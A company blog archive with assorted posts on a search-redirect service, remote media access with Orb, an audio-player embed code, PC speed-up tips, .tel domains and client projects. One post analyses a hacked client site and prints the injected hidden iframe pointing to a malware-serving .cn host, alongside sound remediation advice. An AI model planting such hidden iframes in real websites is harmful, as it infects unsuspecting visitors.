Thank you Sweet Cierra’s we think you Rock!

Brattle is introducing a new service to our web clients, “Reference Processing”. The service works a little bit like artificial intelligence for your search results. Helping people quickly and seamlessly get directly to the information they are looking for. This service, used in conjunction with our analytics solutions will be able to dramatically reduce your bounce rate on certain searches, while not disturbing the users who are finding what they are really looking for.

Every time a user interacts with your website in any way, that activity, and all of its details are recorded. We are then able to analyze this data with you to decide what people are looking for, what people are finding, and how we can make those two things the same.

Search Engine Optimization (SEO) is half art and half science, and even if orchestrated perfectly may leave a gap between what people want and what they find. For example, if someone is searching for a specific product, they may be directed to a page higher in your site hierarchy than they need or want to see. Instead of navigating to the correct page on your site, they are likely to leave and return to their search results to find another provider.

It could require a substantial reorganizational effort within your site to get these results to organically direct you to the appropriate pages. And these changes may adversely affect how you rank for other queries.

Our Reference Processor can be configured to take these queries with high bounce rates and redirect the users to the pages most appropriate for them. Effectively, now when someone uses a search engine to find your site, the reference processer will double-check that they get where they are trying to go. Search engines algorithms and indexing services are incredible, but they are no match for your own personal knowledge of your site and your users’ trends and habits.

The system is available to the public on a per-site or per-page basis. And will not require any modifications to your existing site structure or logic. If you would like more information, or to speak with someone about how this can help your site please call (617-229-7210) or e-mail (info@brattlecg.com) Brattle.

I recently stumbled across a piece of software called Orb. Essentially Orb makes it simple to access all of your local media remotely from anything with a web browser. It automagically integrates with iTunes and iPhoto and you can share folders from your computer and even a TV tuner if you have one.

The breakthrough use for me however is easy remote access to your iTunes library and video library. My personal machine of choice is a MacBook from 2007 with a “tiny” 200 GB hard drive. However I have two other desktops I use regularly at home, as well as a machine at work that I spend a good chunk of time on. Getting iTunes to cooperate with all of these and getting my music where I need it is a chore.

I have about 100 GB of media on my laptop, and another 100 GB between my other two personal systems. My collection is horribly fragmented amongst these three machines and I often have a hard time keeping track of what is where. I would prefer to have access to it all on my laptop but I just don’t have space. Not to mention I would not be thrilled to lose my entire collection if the computer got lost, stolen, or otherwise damaged (as laptops can be prone to).

Ideally I would be able to store everything in one place (preferably somewhere semi-secure) while still having access from any of my other systems, and ideally, from anywhere I want. That would enable me to remove almost all of my media from my laptop and keep just enough to entertain me any time I may not have internet access.

Between iTunes Home Sharing and Orb I have been able to setup a system that I have been long awaiting, but to lazy to setup. I consolidated and organized all of my music and videos on to one hard drive in one of my home desktops. This is always running and always connected to the internet. Apple made this transition much easier by introducing “Home Sharing” which enables you to share your library among up to 5 computers on your local network. The breakthrough is instead of just playing media from one computer on another you can easily copy it and move it around freely.

This is where Orb comes in. With all of my media in one place all I needed to do was install Orb on that machine, let it index my collections and log in to watch it or listen to it online. The only draw back I have found is that the online user interface looks like it belongs in the 90’s, it is truly ghetto-fabulous. Otherwise it provides unimpeded access to my music, playlists, videos, and everything else I need.
I am interested to try it with a video tuner. I was given a sling box as a gift several years ago and I’m curious if there is some way to make Orb work nicely with it, because otherwise Orb renders it totally useless. If they could polish the online user interface a little bit this would be a perfect solution for sharing my home media collection with myself.

Google’s taking over the world, we all know that.  They are producing some cool tools along the way, here is one we like.

The Code:

<object width=”400″ height=”28″ data=”http://www.google.com/reader/ui/3247397568-audio-player.swf?audioUrl=MP3_FILE_URL” type=”application/x-shockwave-flash”>

<param name=”bgcolor” value=”#ffffff” />

<param name=”flashvars” value=”playerMode=embedded” />

<param name=”src” value=”http://www.google.com/reader/ui/3247397568-audio-player.swf?audioUrl=MP3_FILE_URL” />

<param name=”wmode” value=”window” />

<param name=”quality” value=”best” />

</object>

The Implementation:

• Step 1: copy the code above
• Step 2: paste this into the HTML of your page
• Step 3: Update the “MP3_FILE_URL” with a relative or absolute path to your MP3 file
• Step 4: oh wait, there is no step 4

Google has introduced a new piece of logic into their indexing engine, which detects malware embedded within websites.  If your website has been compromised, which I’ll explain what ‘compromised’ means later, then you will see “This site may harm your computer” when you search Google for your website.

Within this article we will discuss

1. What does it mean to have a compromised website
2. How does a compromise occur
3. How to resolve this issue
4. How to I work with Google to remove the “This site may harm your computer” link

What does it mean to have a compromised website?

Recently we had a client call us with this concern.  Several of his clients contacted him and said that when they searched for his website on Google, they were presented with a link under the title of the result page that said “This site may harm your computer”.  The result looked just like this:

How did this happen?

In this case, it is easy to look at the result of the attack and work backward toward how the attack occurred.  Here is what we know;

1. The attacker placed the following line of code on a website file:

   <iframe src="http://filmlifeimages.cn:8080/index.php"

   width=180 height=111 style="visibility: hidden"></iframe>

2. After consulting with the client, who had FTP access, we knew that he was not responsible for uploading a file containing this information
3. We noted the date of the modified file on the file system 6/10/2009 @  2:08am CST
4. We then looked at the FTP log files to understand what happened on the 10th at 2:08am.
5. The log file outlined that every page on the site was overwritten, status 226, on or around 2:08am
6. The account used to access the server was a valid FTP account.

How do I resolve this issue?
If you are the hosting company – you should know what to do.  Reset the FTP account password, remove ‘any’ access to port 21 on your firewall and begin restricting access by IP or VPN.

If you are the client – your computer, and potentially your network is infected with a keylogger program.  Our suggestion is that you complete the following steps immediately.

1. If you do online banking, call your bank immediately to have your account credentials changed
2. If you have purchased anything online recently, call your credit card companies and have them reissue you a new card.
3. If you have provided any websites significant information about your identity, contact an identity theft company

Once you have completed the steps above, you now have to remove the keylogger program from your system.  We recommend using AVAST, found at http://www.avast.com/, there are several types of software like this out on the internet.  Run a full scan of your system and remove all of the infected files.  Moving forward, you should run these types of programs constantly and conduct full system/network scan on a routine basis.

How to I work with Google to remove the “This site may harm your computer” link

How many of you out there have called a relative or friend to fix a slow computer? Many I would guess.  It just so happens that I’m often that relative or friend that people call, so I’ve written this article to assist my family, friends and anyone else who needs help.

SPEED UP YOUR COMPUTER BY CORRECTING THE REAL ISSUES (1-5 hours)

1. The first step is to understand the issue – I won’t make this overly complicated.  Computers have memory called RAM.  Most programs you have on your computer have background processes that consume RAM – this will slow your system down.  To increase speed, remove the unnecessary programs you have installed on your system (Step 2).
2. Remove unused programs.  Navigate to your control panel (Start Menu > Control Panel), select “Add or Remove Programs”. Next, remove anything that you haven’t used recently or intend on using in the very near future (you should see a ‘last used’ date next to each program in the list).  Chances are, if you haven’t used a program in a long time, you probably won’t need it in the near future.  If you think you may need the program in the future, make sure you have a disk containing the program files or a way to download the files from the manufacture.
3. Remove the ‘FREE’ or ‘TRIAL’ programs installed by the manufacturer. This is easy, just download this product:  http://www.pcdecrapifier.com/ (available for Vista and XP, select the software version that pertains to your computer).  If you are unsure of what version of Windows you have, reboot your system and you should see the version during the startup process.  If you still don’t know, call the person or company you purchased your system from.
4. Stop programs from starting during startup. It is common in the software development community to have ’services’ running in the background of your system, which start during the boot process.  This can be helpful for developers who want their software to react to your input instantaneously.  One example would be spyware software, like Norton or McAfee.  This type software is always scanning your system for troublesome or harmful material.  To be effective, it needs to be constantly running, however your camera software probably doesn’t need to be, so turn it off.
   • Update your startup menu. Within XP navigate to MSCONFIG console (Start > Run >  type: msconfig > hit OK > click the ’startup’ tab).  This list contains all of the software that starts and runs while your system is on – some are necessary, some are not and some may be harmful.  This task takes time to do properly and is worth the investment every couple of months.  The list on the startup menu may not make sense, but there is a website dedicated to helping you figure out what all of these items are; http://www.sysinfo.org/startuplist.php (scroll a little and you’ll see the list – or search for a startup item by going here; http://www.sysinfo.org/ and enter the name in the “Startup Information” search box).

In addition to these four recommendations, make sure you have antivirus software running on your computer and make sure do do virus scans often.  If anyone has any other recommendations please comment on this post.

Recently I was told about .tel web addresses, actually not so much told about them, as told that they existed. I started looking into them, and at first had no idea what they were or why they existed, but the more I dug the more sense they made. So I am going to try and save you some of the time and effort I had to go through and give you the entire scoop in a few hundred words.

In a nutshell .tel addresses are the newest way to store all of your personal or business contact information in one, easily accessible, place on the web.  We’re here to explain what they are, and help you decide whether or not you need one.

What they are:
On the surface .tel is just another top-level domain (TLD), like .com, .org, .net etc. But that is where the similarities end.  Instead of needing to buy a domain name, find a hosting service for it, and design a website just to make your information accessible. All you need to do is purchase your .tel domain name of choice and fill in your information using their application.

The idea is that everything is as streamlined and consistent as possible. You can store any personal information you would ever want on your .tel address, you never need to pay for hosting, and if any of your information changes you can update it from anywhere anytime. It is the 21st century version of a business card. For examples of .tel pages check out emma.tel (personal) and telnic.tel (business).

Should you use it?
As of March 24 they are in the 3rd phase of availability and will be generally available to the public for a “non-premium” ($375 for 3 years) price. They will be available starting at 19.99 for 1 year, with presumable better deals available if you purchase a longer term. In comparison to business cards this is a reasonable price, and if the service becomes ubiquitous it could essentially replace all of the online phone directories.
The only way that this becomes overwhelmingly successful however, is if it reaches a critical mass and becomes the de-facto standard for accessible contact information. The problem they face is that their service is VERY simple and anyone could make a knockoff with even more functionality. Or worse yet, someone like Facebook could leverage its existing user base (of over 175 million people) and provide a similar service for free. The thing that telnic (the company behind .tel) has going in its favor is an entire TLD assigned solely for this purpose. That fact alone makes them a huge force and makes it much more recognizable than some 3rd party website trying to offer the same service.

If this does take off, and it looks promising, then it could change and completely streamline the way we lookup information for people and businesses everywhere.

Over the past few months, Brattle President Bob Cote and the Brattle team have been working with Citrus Acquisitions to develop a truly revolutionary application.  Brattle was originally brought in to discuss architecting a solution for the failing finance center, and what our two companies came up with promises to be an application unlike any other currently available. In order to assist investors, this new product utilizes crawling, Natural Language Processing (NLP), and Artificial Intelligence (AI) capabilities to understand global trends and viable market targets for acquisition and/or leverage buy out.

This method is yet unavailable to other acquisition firms, thus helping to set Citrus Acquisitions above the curve. Brattle is proud to be an integral component of this new application’s development. Expect to hear more about this new application as development continues and visit Citrus Acquisitions.

Last month, Brattle took on a job for the South Shore Young Professionals, a networking site to provide information, resources, and opportunities to young professionals on the South Shore of Massachusetts. Brattle completely overhauled the old site to create an appealing yet simple interface for SSYP’s members. Plus as a way of sponsorship, Brattle provided services at a reduced rate. After working with SSYP, Brattle determined the best features to incorporate on the site, which includes a customized “contact us” form, an easy-to-update events calendar, and an improved current and archived news section. Brattle is glad to help and hopes that SSYP enjoys continued success!

Visit SouthShoreYoungProfessionals.org

Recently we announced the launch of SignalSMS, a text message marketing product developed by our team here at Brattle Consulting Group. We are attributing much of SignalSMS’s success to the API (Application Programming Interface) we developed for our product. We have developed it to allow applications to communicate over SMS without tremendous amounts of knowledge of programming. This creates a much easier, more flexible and customizable process.

If you were to search for a company that does API development, you would have difficulty finding one.  Brattle is happy to be a pioneer in this area, and we are excited to share our skills with you. Our staff is here to assist other development companies and other individuals and businesses interested in marketing to achieve their goals. We are currently working with several companies throughout the US to provide them with mobile communication applications to benefit their businesses.

Please contact us and ask us about the opportunities SignalSMS could bring to your business.